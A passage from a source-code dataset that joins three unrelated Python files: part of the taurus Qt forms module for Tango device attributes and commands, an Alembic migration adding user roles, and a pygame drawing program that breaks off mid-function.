self.unregisterConfigurableItem(child)\n child.setModel(None)\n child.deleteLater()\n\n self._children = []\n return\n\n def fillWithChildren(self):\n frame = TaurusWidget()\n frame.setLayout(Qt.QGridLayout())\n frame.layout().addItem(Qt.QSpacerItem(0, 0, Qt.QSizePolicy.Minimum, Qt.QSizePolicy.MinimumExpanding))\n parent_name = None\n if self.getUseParentModel():\n parent_model = self.getParentModelObj()\n if parent_model:\n parent_name = parent_model.getFullName()\n for i, model in enumerate(self.getModel()):\n if not model:\n continue\n if parent_name:\n model = '%s/%s' % (parent_name, model)\n klass, args, kwargs = self.getFormWidget(model=model)\n widget = klass(frame, *args, **kwargs)\n widget.setMinimumHeight(20)\n try:\n widget.setCompact(self.isCompact())\n widget.setModel(model)\n widget.setParent(frame)\n except:\n self.warning('an error occurred while adding the child \"%s\". Skipping' % model)\n self.traceback(level=taurus.Debug)\n\n try:\n widget.setModifiableByUser(self.isModifiableByUser())\n except:\n pass\n\n try:\n widget.setFormat(self.getFormat())\n except Exception:\n self.debug('Cannot set format %s to child %s', self.getFormat(), model)\n\n widget.setObjectName('__item%i' % i)\n self.registerConfigDelegate(widget)\n self._children.append(widget)\n\n frame.layout().addItem(Qt.QSpacerItem(0, 0, Qt.QSizePolicy.Minimum, Qt.QSizePolicy.MinimumExpanding))\n self.scrollArea.setWidget(frame)\n self.scrollArea.setMinimumWidth(frame.layout().sizeHint().width() + 20)\n return\n\n def getItemByModel(self, model, index=0):\n \"\"\"returns the child item with given model. If there is more than one item\n with the same model, the index parameter can be used to distinguish among them\n Please note that his index is only relative to same-model items!\"\"\"\n for child in self._children:\n if _normalize_model_name_case(child.getModel()) == _normalize_model_name_case(model):\n if index <= 0:\n return child\n index -= 1\n\n def getItemByIndex(self, index):\n \"\"\"returns the child item with at the given index position. \"\"\"\n return self.getItems()[index]\n\n def getItems(self):\n \"\"\"returns a list of the objects that have been created as childs of the form\"\"\"\n return self._children\n\n def onChangeLabelsAction(self):\n \"\"\"changes the labelConfig of all its items\"\"\"\n keys = [\n '{attr.label}', '{attr.name}', '{attr.fullname}', '{dev.name}',\n '{dev.fullname}']\n msg = 'Choose the label format. \\n' + 'You may use Python format() syntax. The TaurusDevice object\\n' + 'can be referenced as \"dev\" and the TaurusAttribute object\\n' + 'as \"attr\"'\n labelConfig, ok = Qt.QInputDialog.getItem(self, 'Change Label', msg, keys, 0, True)\n if ok:\n for item in self.getItems():\n item.labelConfig = str(labelConfig)\n\n @Qt.pyqtSlot()\n def apply(self):\n self.safeApplyOperations()\n\n @Qt.pyqtSlot()\n def reset(self):\n self.resetPendingOperations()\n\n @classmethod\n def getQtDesignerPluginInfo(cls):\n ret = TaurusWidget.getQtDesignerPluginInfo()\n ret['module'] = 'taurus.qt.qtgui.panel'\n ret['container'] = False\n return ret\n\n model = Qt.pyqtProperty('QStringList', getModel, TaurusWidget.setModel, resetModel)\n useParentModel = Qt.pyqtProperty('bool', TaurusWidget.getUseParentModel, TaurusWidget.setUseParentModel, TaurusWidget.resetUseParentModel)\n withButtons = Qt.pyqtProperty('bool', isWithButtons, setWithButtons, resetWithButtons)\n modifiableByUser = Qt.pyqtProperty('bool', TaurusWidget.isModifiableByUser, setModifiableByUser, TaurusWidget.resetModifiableByUser)\n compact = Qt.pyqtProperty('bool', isCompact, setCompact, resetCompact)\n\n\nclass TaurusCommandsForm(TaurusWidget):\n \"\"\"A form that shows commands available for a Device Server\"\"\"\n\n def __init__(self, parent=None, designMode=False):\n TaurusWidget.__init__(self, parent, designMode)\n self.setLayout(Qt.QVBoxLayout())\n self._splitter = Qt.QSplitter()\n self._splitter.setOrientation(Qt.Qt.Vertical)\n self.layout().addWidget(self._splitter)\n self._frame = TaurusWidget(self)\n self._frame.setLayout(Qt.QGridLayout())\n self._scrollArea = TaurusScrollArea(self)\n self._scrollArea.setWidget(self._frame)\n self._scrollArea.setWidgetResizable(True)\n self._splitter.addWidget(self._scrollArea)\n self._outputTE = Qt.QTextEdit()\n self._outputTE.setReadOnly(True)\n self._splitter.addWidget(self._outputTE)\n self._cmdWidgets = []\n self._paramWidgets = []\n self._viewFilters = []\n self._defaultParameters = []\n self._sortKey = lambda x: x.cmd_name\n self._operatorViewFilter = lambda x: x.disp_level == DisplayLevel.OPERATOR\n self.modelChanged.connect(self._updateCommandWidgets)\n\n def createConfig(self, allowUnpickable=False):\n \"\"\"\n extending :meth:`TaurusBaseWidget.createConfig`\n :param alllowUnpickable: (bool)\n\n :return: (dict) configurations (which can be loaded with :meth:`applyConfig`).\n\n .. seealso: :meth:`TaurusBaseWidget.createConfig`, :meth:`applyConfig`\n \"\"\"\n configdict = TaurusWidget.createConfig(self, allowUnpickable=allowUnpickable)\n configdict['splitter/state'] = self._splitter.saveState().data()\n return configdict\n\n def applyConfig(self, configdict, **kwargs):\n \"\"\"extending :meth:`TaurusBaseWidget.applyConfig` to restore the splitter config\n\n :param configdict: (dict)\n\n .. seealso:: :meth:`TaurusBaseWidget.applyConfig`, :meth:`createConfig`\n \"\"\"\n TaurusWidget.applyConfig(self, configdict, **kwargs)\n self._splitter.restoreState(Qt.QByteArray(configdict['splitter/state']))\n\n def getModelClass(self):\n \"\"\"see :meth:`TaurusBaseComponent.getModelClass`\"\"\"\n return taurus.core.taurusdevice.TaurusDevice\n\n def _updateCommandWidgets(self, *args):\n \"\"\"\n Inserts command buttons and parameter widgets in the layout, according to\n the commands from the model\n \"\"\"\n dev = self.getModelObj()\n if dev is None:\n self._clearFrame()\n return\n else:\n try:\n commands = sorted(dev.command_list_query(), key=self._sortKey)\n except Exception as e:\n self.warning('Problem querying commands from %s. Reason: %s', dev, e)\n self._clearFrame()\n return\n\n for f in self.getViewFilters():\n commands = list(filter(f, commands))\n\n self._clearFrame()\n layout = self._frame.layout()\n model = self.getFullModelName()\n for row, c in enumerate(commands):\n self.debug('Adding button for command %s' % c.cmd_name)\n button = TaurusCommandButton(command=c.cmd_name, text=c.cmd_name)\n layout.addWidget(button, row, 0)\n button.setModel(model)\n self._cmdWidgets.append(button)\n button.commandExecuted.connect(self._onCommandExecuted)\n import taurus.core.tango.util.tango_taurus as tango_taurus\n in_type = tango_taurus.FROM_TANGO_TO_TAURUS_TYPE[c.in_type]\n if in_type is not None:\n self.debug('Adding arguments for command %s' % c.cmd_name)\n pwidget = ParameterCB()\n if c.cmd_name.lower() in self._defaultParameters:\n for par in self._defaultParameters.get(c.cmd_name.lower(), []):\n pwidget.addItem(par)\n\n if (self._defaultParameters[c.cmd_name.lower()] or [''])[0] == '':\n pwidget.setEditable(True)\n else:\n pwidget.setEditable(False)\n button.setParameters(self._defaultParameters[c.cmd_name.lower()][0])\n pwidget.editTextChanged.connect(button.setParameters)\n pwidget.currentIndexChanged['QString'].connect(button.setParameters)\n pwidget.activated.connect(button.setFocus)\n button.commandExecuted.connect(pwidget.rememberCurrentText)\n layout.addWidget(pwidget, row, 1)\n self._paramWidgets.append(pwidget)\n\n return\n\n def _clearFrame(self):\n \"\"\"destroys all widgets in the scroll area frame\"\"\"\n self._frame = TaurusWidget(self)\n self._frame.setLayout(Qt.QGridLayout())\n self._frame.setModel(self.getModelName())\n self._scrollArea.setWidget(self._frame)\n self._cmdWidgets = []\n self._paramWidgets = []\n\n def _onCommandExecuted(self, result):\n \"\"\"Slot called when the command is executed, to manage the output\n\n :param result: return value from the command. The type depends on the command\n \"\"\"\n timestamp = datetime.now()\n cmdbutton = self.sender()\n output = '%s ' % timestamp.strftime('%Y-%m-%d %H:%M:%S') + 'Command: %s ' % cmdbutton.getCommand() + 'Pars: %s ' % repr(cmdbutton.getParameters()) + 'Return Value: %s' % str(result)\n self._outputTE.append(output)\n separator = ''\n self._outputTE.append(separator)\n\n def setSortKey(self, sortkey):\n \"\"\"sets the method used to sort the commands (cmd_name by default)\n\n :param sortkey: (callable) a function that takes a :class:`CommandInfo`\n as argument and returns a key to use for sorting purposes\n (e.g. the default sortKey is ``lambda x:x.cmd_name``)\n \"\"\"\n self._sortKey = sortkey\n self._updateCommandWidgets()\n\n def setDefaultParameters(self, params):\n \"\"\"sets the values that will appear by default in the parameters combo box,\n the command combo box for the command will be editable only if the first parameter is an empty string\n\n :param params: (dict) { 'cmd_name': ['parameters string 1', 'parameters string 2' ] }\n\n \"\"\"\n self._defaultParameters = dict((k.lower(), v) for k, v in params.items())\n self._updateCommandWidgets()\n\n def setViewFilters(self, filterlist):\n \"\"\"sets the filters to be applied when displaying the commands\n\n :param filterlist: (sequence) a sequence of command filters.\n All filters will be applied to each command to decide\n whether to display it or not.\n for a command to be plotted, the following condition\n must be true for all filters:\n bool(filter(command))==True\n \"\"\"\n self._viewFilters = filterlist\n self._updateCommandWidgets()\n\n def getViewFilters(self):\n \"\"\"returns the filters used in deciding which commands are displayed\n\n :return: (sequence) a sequence of filters\n \"\"\"\n return self._viewFilters\n\n @Qt.pyqtSlot(bool, name='setCommand')\n def setExpertView(self, expert):\n \"\"\"sets the expert view mode\n\n :param expert: (bool) If expert is True, commands won't be filtered. If\n it is False, commands with display level Expert won't be shown\n \"\"\"\n currentfilters = self.getViewFilters()\n if expert:\n if self._operatorViewFilter in currentfilters:\n currentfilters.remove(self._operatorViewFilter)\n elif self._operatorViewFilter not in currentfilters:\n currentfilters.insert(0, self._operatorViewFilter)\n self.setViewFilters(currentfilters)\n self._expertView = expert\n\n def getSplitter(self):\n \"\"\"returns the splitter that separates the command buttons area from\n the output area\n\n :return: (QSplitter)\"\"\"\n return self._splitter\n\n @classmethod\n def getQtDesignerPluginInfo(cls):\n ret = TaurusWidget.getQtDesignerPluginInfo()\n ret['module'] = 'taurus.qt.qtgui.panel'\n ret['container'] = False\n return ret\n\n\nclass TaurusAttrForm(TaurusWidget):\n \"\"\"A form that displays the attributes of a Device Server\"\"\"\n\n def __init__(self, parent=None, designMode=False):\n TaurusWidget.__init__(self, parent, designMode)\n self._viewFilters = []\n self._operatorViewFilter = lambda x: x.disp_level == DisplayLevel.OPERATOR\n self.setLayout(Qt.QVBoxLayout())\n self._form = TaurusForm(parent=self)\n self.layout().addWidget(self._form)\n self.registerConfigDelegate(self._form)\n self.modelChanged.connect(self._updateAttrWidgets)\n self._sortKey = lambda x: x.name\n\n def setSortKey(self, sortkey):\n \"\"\"sets the key function used to sort the attributes in the form\n\n :param sortkey: (callable) a function that takes a :class:`AttributeInfo`\n as argument and returns a key to use for sorting purposes\n (e.g. the default sortKey is ``lambda x:x.name``)\n\n \"\"\"\n self._sortKey = sortkey\n self._updateAttrWidgets()\n\n def getModelClass(self):\n \"\"\"see :meth:`TaurusBaseComponent.getModelClass`\"\"\"\n return taurus.core.taurusdevice.TaurusDevice\n\n def _updateAttrWidgets(self):\n \"\"\"Populates the form with an item for each of the attributes shown\n \"\"\"\n try:\n dev = self.getModelObj()\n attrlist = sorted(dev.attribute_list_query(), key=self._sortKey)\n for f in self.getViewFilters():\n attrlist = list(filter(f, attrlist))\n\n attrnames = []\n devname = self.getModelName()\n for a in attrlist:\n attrnames.append('%s/%s' % (devname, a.name))\n\n self.debug('Filling with attribute list: %s' % ('; ').join(attrnames))\n self._form.setModel(attrnames)\n except:\n self.debug('Cannot connect to device')\n self._form.setModel([])\n\n def setViewFilters(self, filterlist):\n \"\"\"sets the filters to be applied when displaying the attributes\n\n :param filterlist: (sequence) a sequence of attr filters. All\n filters will be applied to each attribute name to\n decide whether to display it or not. for an attribute\n to be plotted, the following condition must be true\n for all filters: ``bool(filter(attrname))==True``\n \"\"\"\n self._viewFilters = filterlist\n self._updateAttrWidgets()\n\n def getViewFilters(self):\n \"\"\"returns the filters used in deciding which attributes are displayed\n\n :return: (sequence) a sequence of filters\n \"\"\"\n return self._viewFilters\n\n @Qt.pyqtSlot(bool)\n def setExpertView(self, expert):\n \"\"\"sets the expert view mode\n\n :param expert: (bool) If expert is True, attributes won't be filtered. If\n it is False, attributes with display level Expert won't\n be shown\n \"\"\"\n currentfilters = self.getViewFilters()\n if expert:\n if self._operatorViewFilter in currentfilters:\n currentfilters.remove(self._operatorViewFilter)\n elif self._operatorViewFilter not in currentfilters:\n currentfilters.insert(0, self._operatorViewFilter)\n self.setViewFilters(currentfilters)\n self._expertView = expert\n\n @classmethod\n def getQtDesignerPluginInfo(cls):\n ret = TaurusWidget.getQtDesignerPluginInfo()\n ret['module'] = 'taurus.qt.qtgui.panel'\n ret['container'] = False\n return ret\n\n model = Qt.pyqtProperty('QString', TaurusWidget.getModel, TaurusWidget.setModel, TaurusWidget.resetModel)\n useParentModel = Qt.pyqtProperty('bool', TaurusWidget.getUseParentModel, TaurusWidget.setUseParentModel, TaurusWidget.resetUseParentModel)\n\n\ndef test1():\n \"\"\"tests taurusForm\"\"\"\n import sys\n if len(sys.argv) > 1:\n models = sys.argv[1:]\n else:\n models = None\n from taurus.qt.qtgui.application import TaurusApplication\n app = TaurusApplication(sys.argv, cmd_line_parser=None)\n if models is None:\n models = [\n 'sys/tg_test/1/state',\n 'sys/tg_test/1/float_scalar',\n 'sys/tg_test/1/boolean_image',\n 'sys/tg_test/1/float_spectrum',\n 'sys/tg_test/1/status']\n dialog = TaurusForm()\n dialog.setModel(models)\n dialog.setModifiableByUser(True)\n for i, tv in enumerate(dialog.getItems()):\n tv.setDangerMessage('Booooo scaring %d!!!' % i)\n\n dialog.show()\n dialog2 = TaurusForm()\n dialog2.show()\n dialog2.setModifiableByUser(True)\n sys.exit(app.exec_())\n return\n\n\ndef test2():\n \"\"\"tests taurusAttrForm\"\"\"\n import sys\n if len(sys.argv) > 1:\n model = sys.argv[1]\n else:\n model = None\n if model is None:\n model = 'bl97/pc/dummy-01'\n from taurus.qt.qtgui.application import TaurusApplication\n app = TaurusApplication(sys.argv, cmd_line_parser=None)\n dialog = TaurusAttrForm()\n dialog.setModel(model)\n dialog.show()\n sys.exit(app.exec_())\n return\n\n\ndef test3():\n \"\"\"tests taurusCommandsForm\"\"\"\n import sys\n if len(sys.argv) > 1:\n model = sys.argv[1]\n else:\n model = None\n if model is None:\n model = 'bl97/pc/dummy-01'\n from taurus.qt.qtgui.application import TaurusApplication\n app = TaurusApplication(sys.argv, cmd_line_parser=None)\n dialog = TaurusCommandsForm()\n dialog.setModel(model)\n dialog.show()\n sys.exit(app.exec_())\n return\n\n\ndef test4():\n \"\"\"tests customwidgetma in taurusforms\"\"\"\n import sys\n from taurus.qt.qtgui.display import TaurusLabel\n from taurus.qt.qtgui.application import TaurusApplication\n app = TaurusApplication(sys.argv, cmd_line_parser=None)\n from taurus.qt.qtgui.panel import TaurusValue\n\n class DummyCW(TaurusValue):\n\n def setModel(self, model):\n print('!!!!! IN DUMMYCW.SETMODEL', model)\n TaurusValue.setModel(self, model + '/double_scalar')\n\n models = [\n 'sys/database/2', 'sys/tg_test/1', 'sys/tg_test/1/short_spectrum',\n 'sys/tg_test/1/state', 'sys/tg_test/1/short_scalar_ro']\n models.append('tango://controls02:10000/expchan/bl97_simucotictrl_1/1')\n map = {'PseudoCounter': (\n 'taurus.qt.qtgui.extra_pool.PoolChannelTV', (), {}), \n 'CTExpChannel': (\n 'taurus.qt.qtgui.extra_pool.PoolChannelTV', (), {}), \n 'ZeroDExpChannel': (\n 'taurus.qt.qtgui.extra_pool.PoolChannelTV', (), {}), \n 'OneDExpChannel': (\n 'taurus.qt.qtgui.extra_pool.PoolChannelTV', (), {}), \n 'TwoDExpChannel': (\n 'taurus.qt.qtgui.extra_pool.PoolChannelTV', (), {}), \n 'TangoTest': DummyCW, \n 'DataBase': TaurusLabel}\n dialog = TaurusForm()\n dialog.setCustomWidgetMap(map)\n dialog.setModel(models)\n dialog.show()\n sys.exit(app.exec_())\n return\n\n\n@click.command('form')\n@click.option('--window-name', 'window_name', default='Taurus Form', help='Name of the window')\n@click.option('--config', 'config_file', type=click.File('rb'), help='configuration file for initialization')\n@click.argument('models', nargs=-1)\ndef form_cmd(window_name, config_file, models):\n \"\"\"Shows a Taurus form populated with the given model names\"\"\"\n from taurus.qt.qtgui.application import TaurusApplication\n import sys\n app = TaurusApplication(cmd_line_parser=None)\n dialog = TaurusForm()\n dialog.setModifiableByUser(True)\n dialog.setModelInConfig(True)\n dialog.setWindowTitle(window_name)\n dialog.registerConfigProperty(dialog.saveGeometry, dialog.restoreGeometry, 'MainWindowGeometry')\n quitApplicationAction = Qt.QAction(Qt.QIcon.fromTheme('process-stop'), 'Close Form', dialog)\n quitApplicationAction.triggered.connect(dialog.close)\n saveConfigAction = Qt.QAction('Save current settings...', dialog)\n saveConfigAction.setShortcut(Qt.QKeySequence.Save)\n saveConfigAction.triggered.connect(partial(dialog.saveConfigFile, ofile=None))\n loadConfigAction = Qt.QAction('&Retrieve saved settings...', dialog)\n loadConfigAction.setShortcut(Qt.QKeySequence.Open)\n loadConfigAction.triggered.connect(partial(dialog.loadConfigFile, ifile=None))\n dialog.addActions((\n saveConfigAction, loadConfigAction, quitApplicationAction))\n from taurus import tauruscustomsettings\n dialog.setCustomWidgetMap(getattr(tauruscustomsettings, 'T_FORM_CUSTOM_WIDGET_MAP', {}))\n if config_file is not None:\n dialog.loadConfigFile(config_file)\n elif len(models) > 0:\n dialog.setModel(models)\n else:\n dialog.chooseModels()\n dialog.show()\n sys.exit(app.exec_())\n return\n\n\ndef main():\n form_cmd()\n\n\nif __name__ == '__main__':\n main()","sub_path":"pycfiles/taurus-4.6.1-py2.7/taurusform.py","file_name":"taurusform.py","file_ext":"py","file_size_in_byte":37697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"317140244","text":"\"\"\"Added support for user roles.\n\nRevision ID: 839e29065dc1\nRevises: a8ab43b5fdea\nCreate Date: 2020-09-24 15:07:55.750704\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '839e29065dc1'\ndown_revision = 'a8ab43b5fdea'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('role',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=32), nullable=True),\n sa.Column('default', sa.Boolean(), nullable=True),\n sa.Column('permissions', sa.Integer(), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('name')\n )\n with op.batch_alter_table('role', schema=None) as batch_op:\n batch_op.create_index(batch_op.f('ix_role_default'), ['default'], unique=False)\n\n with op.batch_alter_table('user', schema=None) as batch_op:\n batch_op.add_column(sa.Column('role_id', sa.Integer(), nullable=True))\n batch_op.create_foreign_key(None, 'role', ['role_id'], ['id'])\n\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n with op.batch_alter_table('user', schema=None) as batch_op:\n batch_op.drop_constraint(None, type_='foreignkey')\n batch_op.drop_column('role_id')\n\n with op.batch_alter_table('role', schema=None) as batch_op:\n batch_op.drop_index(batch_op.f('ix_role_default'))\n\n op.drop_table('role')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/839e29065dc1_added_support_for_user_roles.py","file_name":"839e29065dc1_added_support_for_user_roles.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"211961813","text":"import sys,pygame\nfrom pygame import gfxdraw\n\npygame.init()\nscreen = pygame.display.set_mode((600,400))\ntela = pygame.Surface((600, 400))\nwhite=(255,255,255)\nblack=(0,0,0)\nred = (255,0,0)\nlime = (0,255,0)\nblue = (0,0,255)\nyellow = (255,255,0)\naqua = (0,255,255)\nmagenta = (255,0,255)\nsilver = (192,192,192)\ngray = (128,128,128)\nmaroon = (128,0,0)\nolive = (128,128,0)\ngreen = (0,128,0)\npurple = (128,0,128)\nteal = (0,128,128)\nnavy = (0,0,128)\n\nmenu_font = pygame.font.Font(None, 17)\n\nlimpar_txt = menu_font.render(\"Limpar\", True, black)\nlinha_txt = menu_font.render(\"Linha\", True, black)\nretangulo_txt = menu_font.render(\"Retangulo\", True, black)\nquadrado_txt = menu_font.render(\"Quadrado\", True, black)\ncirculo_txt = menu_font.render(\"Circulo\", True, black)\npolilinha_txt = menu_font.render(\"Polilinha\", True, black)\ncurva_txt = menu_font.render(\"Curva\", True, black)\npreenchimento_txt = menu_font.render(\"Preench.\", True, black)\nlista_cores = [white,silver,gray,black,maroon,red,magenta,purple,navy,blue,teal,teal,aqua,lime,green,olive,yellow]\ncolor = black #default\nfuncao = 1 #1 = Bresenham #2=...\npreenchido = False\nmenu_rect = pygame.Rect(0, 0, 100, 400)\nscreen_rect = pygame.Rect(100, 0, 400, 400)\n\nwhite_rect = pygame.Rect(5, 25, 20, 20)\nsilver_rect = pygame.Rect(27, 25, 20, 20)\ngray_rect = pygame.Rect(5, 47, 20, 20)\nblack_rect = pygame.Rect(27, 47, 20, 20)\nmaroon_rect = pygame.Rect(5, 69, 20, 20)\nred_rect = pygame.Rect(27, 69, 20, 20)\nmagenta_rect = pygame.Rect(5, 91, 20, 20)\npurple_rect = pygame.Rect(27, 91, 20, 20)\nnavy_rect = pygame.Rect(5, 113, 20, 20)\nblue_rect = pygame.Rect(27, 113, 20, 20)\nteal_rect = pygame.Rect(5, 135, 20, 20)\naqua_rect = pygame.Rect(27, 135, 20, 20)\nlime_rect = pygame.Rect(5, 157, 20, 20) \ngreen_rect = pygame.Rect(27, 157, 20, 20)\nolive_rect = pygame.Rect(5, 179, 20, 20)\nyellow_rect = pygame.Rect(27, 179, 20, 20)\nlimpar_rect = pygame.Rect(5,200,42,20)\nlinha_rect = pygame.Rect(5,222,42,20)\nretangulo_rect = pygame.Rect(5,244,42,20)\nquadrado_rect = pygame.Rect(5,266,42,20)\npolilinha_rect = pygame.Rect(5,288,42,20)\ncurva_rect = pygame.Rect(5,310,42,20)\ncirculo_rect = pygame.Rect(5,332,42,20)\npreenchimento_rect = pygame.Rect(5,354,42,20)\n\nlista_rect_cores = [white_rect,silver_rect,gray_rect,black_rect,maroon_rect,red_rect,magenta_rect,purple_rect,navy_rect,blue_rect,teal_rect,teal_rect,aqua_rect,lime_rect,green_rect,olive_rect,yellow_rect]\n\ndef desenha_menu():\n\tfor x in range(len(lista_cores)):\n\t\tpygame.draw.rect(screen,lista_cores[x],lista_rect_cores[x])\n\t\tif color == lista_cores[x]:\n\t\t\tborder = 3\n\t\telse:\n\t\t\tborder = 1\n\t\t\tpygame.draw.rect(screen, black, lista_rect_cores[x], border)\n\tpygame.draw.rect(screen,silver,limpar_rect)\n\tscreen.blit(limpar_txt,(7,204))\n\tpygame.draw.rect(screen,silver,linha_rect)\n\tscreen.blit(linha_txt,(7,226))\n\tpygame.draw.rect(screen,silver,retangulo_rect)\n\tscreen.blit(retangulo_txt,(7,248))\n\tpygame.draw.rect(screen,silver,quadrado_rect)\n\tscreen.blit(quadrado_txt,(7,270))\n\tpygame.draw.rect(screen,silver,polilinha_rect)\n\tscreen.blit(polilinha_txt,(7,292))\n\tpygame.draw.rect(screen,silver,curva_rect)\n\tscreen.blit(curva_txt,(7,314))\n\tpygame.draw.rect(screen,silver,circulo_rect)\n\tscreen.blit(circulo_txt,(7,336))\n\tpygame.draw.rect(screen,silver,curva_rect)\n\tscreen.blit(curva_txt,(7,314))\n\tif preenchido == True:\n\t\tpygame.draw.rect(screen,silver,preenchimento_rect)\n\telse:\n\t\tpygame.draw.rect(screen,gray,preenchimento_rect)\n\tscreen.blit(preenchimento_txt,(7,359))\n\n# collision detection for COLOR\ndef escolhe_menu(mouse_pos): \n\tglobal color\n\tglobal funcao\n\tglobal preenchido\n\tif white_rect.collidepoint(mouse_pos):\n\t\tcolor = white\n\telif silver_rect.collidepoint(mouse_pos):\n\t\tcolor = silver\n\telif gray_rect.collidepoint(mouse_pos):\n\t\tcolor = gray\n\telif black_rect.collidepoint(mouse_pos):\n\t\tcolor = black\n\telif maroon_rect.collidepoint(mouse_pos):\n\t\tcolor = maroon\n\telif red_rect.collidepoint(mouse_pos):\n\t\tcolor = red\n\telif magenta_rect.collidepoint(mouse_pos):\n\t\tcolor = magenta\n\telif purple_rect.collidepoint(mouse_pos):\n\t\tcolor = purple\n\telif navy_rect.collidepoint(mouse_pos):\n\t\tcolor = navy\n\telif blue_rect.collidepoint(mouse_pos):\n\t\tcolor = blue\n\telif teal_rect.collidepoint(mouse_pos):\n\t\tcolor = teal\n\telif aqua_rect.collidepoint(mouse_pos):\n\t\tcolor = aqua\n\telif lime_rect.collidepoint(mouse_pos):\n\t\tcolor = lime\n\telif green_rect.collidepoint(mouse_pos):\n\t\tcolor = green\n\telif olive_rect.collidepoint(mouse_pos):\n\t\tcolor = olive\n\telif yellow_rect.collidepoint(mouse_pos):\n\t\tcolor = yellow\n\telif limpar_rect.collidepoint(mouse_pos):\n\t\tlimpa_tela()\n\telif linha_rect.collidepoint(mouse_pos):\n\t\tfuncao = 1\n\telif quadrado_rect.collidepoint(mouse_pos):\n\t\tfuncao = 2\n\telif polilinha_rect.collidepoint(mouse_pos):\n\t\tfuncao = 3\n\telif circulo_rect.collidepoint(mouse_pos):\n\t\tfuncao = 4\n\telif curva_rect.collidepoint(mouse_pos):\n\t\tfuncao = 5\n\telif retangulo_rect.collidepoint(mouse_pos):\n\t\tfuncao = 6\n\telif preenchimento_rect.collidepoint(mouse_pos):\n\t\tpreenchido = not preenchido\n\t\tdesenha_menu()\n\t\tpygame.display.flip()\n\t\t\n\n\ndef limpa_tela():\n\tscreen.fill(white)\n\tdesenha_menu()\n\ttela.blit(screen,(0,0),menu_rect)\n\tpygame.draw.line(screen, black, (55, 40), (55, 360))\n\tpygame.draw.line(screen, black, (59, 40), (59, 360))\n\tpygame.display.flip()\n\n\ndef frange(start, stop, step):#para aceitar float\n\tx = start\n\twhile x < stop:\n\t\tyield x\n\t\tx += step\n\ndef bezier():\n\tcoord = []\n\tcoord[0:1] = pipf()\n\tcoord[2:3] = pipf()\n\tfor t in frange(0,1,0.01):\n\t\tx1,y1 = coord[0] #ponto onde começa da curva\n\t\tx2,y2 = coord[1] #primeiro ponto de controle\n\t\tx3,y3 = coord[2] #segundo ponto de controle\n\t\tx4,y4 = coord[3] #ponto onde termina a curva\n\t\tomt = 1-t\n\t\tomt2 = omt*omt\n\t\tomt3 = omt2*omt\n\t\tt2 = t*t\n\t\tt3 = t2*t\n\t\tx = omt3 * x1 + ((3*omt2)*t*x2) + (3*omt*t2*x3)+t3*x4\n\t\ty = omt3 * y1 + ((3*omt2)*t*y2) + (3*omt*t2*y3)+t3*y4\n\t\t\n\t\tx = int(round(x,0))#arredonda e transforma para inteiro\n\t\ty = int(round(y,0))\n\n\t\tscreen.set_at((x,y),color)\n\t\tpygame.display.flip()\n\ndef circle(): #cx,cy = centro da circunferencia\n\t(cx,cy),(aux1,aux2) = pipf()\n\traio = int(((abs(cx-aux1)**2)+(abs(cy-aux2)**2))**(1/2))\n\tif preenchido:\n\t\tcont = raio\n\telse:\n\t\tcont = 1\n\n\tfor linha in range(cont):\n\t\tx = 0\n\t\ty = raio\n\t\td = 1-raio\n\t\twhile x < y:\n\t\t\tplotCircle(x,y,cx,cy)\n\t\t\tx += 1\n\t\t\tif d < 0:\n\t\t\t\td += 2 * x + 1\n\t\t\telse:\n\t\t\t\ty -= 1\n\t\t\t\td += 2*(x-y) + 1\n\t\traio = raio -1\n\n\tpygame.display.flip()\n\n\ndef plotCircle(x,y,cx,cy):\n\tgfxdraw.pixel(screen,cx+x,cy+y,color)\n\tgfxdraw.pixel(screen,cx-x,cy+y,color)\n\tgfxdraw.pixel(screen,cx+x,cy-y,color)\n\tgfxdraw.pixel(screen,cx-x,cy-y,color)\n\tgfxdraw.pixel(screen,cx+y,cy+x,color)\n\tgfxdraw.pixel(screen,cx-y,cy+x,color)\n\tgfxdraw.pixel(screen,cx+y,cy-x,color)\n\tgfxdraw.pixel(screen,cx-y,cy-x,color)\n\ndef polilinha():\n\tc1, c2 = bresenham(pipf()) #pega esse ultimo ponto\n\n\twhile funcao == 3:\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.MOUSEBUTTONDOWN:\n\t\t\t\ta,b,c = pygame.mouse.get_pressed()\n\t\t\t\tif(c == True):\n\t\t\t\t\tbreak #sai do loop ao apertar o botão esquerdo\n\t\t\t\telse:\n\t\t\t\t\tx,y = pygame.mouse.get_pos()\n\t\t\t\t\tif (x<59):\n\t\t\t\t\t\tescolhe_menu((x,y))\n\t\t\t\t\t\tif funcao != 3: #se mudar de ferramenta\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\tc1, c2 = bresenham([(c1,c2),(x,y)])\n\t\t\tif event.type == pygame.QUIT: sys.exit()\n\ndef pipf(): #ponto final, ponto inicial\n\ti = 0\n\tposic = []\n\twhile i<2:\n\t\tfor e in pygame.event.get():\n\t\t\tif e.type == pygame.QUIT:\n\t\t\t\tsys.exit()\n\t\t\tif e.type == pygame.MOUSEBUTTONDOWN:\n\t\t\t\ta = pygame.mouse.get_pos()\n\t\t\t\tif (a[0]<59):\n\t\t\t\t\tescolhe_menu(a)\n\t\t\t\telse:\n\t\t\t\t\tposic.append(pygame.mouse.get_pos())\n\t\t\t\t\ti = i+1\n\treturn posic\n\n\ndef retangulo():\n\t[(x,y),(x2,y2)] = pipf()\n\tif preenchido:\n\t\tif x>x2:\n\t\t\t(x,y),(x2,y2) = (x2,y2),(x,y)\n\t\twhile(x<=x2):\n\t\t\tbresenham([(x,y),(x,y2)])\n\t\t\tx = x+1\n\telse:\n\t\tbresenham([(x,y),(x2,y)])\n\t\tbresenham([(x,y),(x,y2)])\n\t\tbresenham([(x,y2),(x2,y2)])\n\t\tbresenham([(x2,y),(x2,y2)])\n\ndef 